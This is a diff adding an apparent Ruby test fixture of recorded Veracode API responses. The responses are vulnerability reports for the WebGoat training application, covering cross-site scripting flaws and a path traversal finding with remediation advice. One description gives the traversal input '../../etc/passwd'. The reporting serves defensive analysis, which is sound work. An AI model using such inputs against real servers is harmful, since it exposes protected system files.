+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:15:23 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200074'
+      Date:
+      - Tue, 27 Oct 2015 12:15:27 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:15:27 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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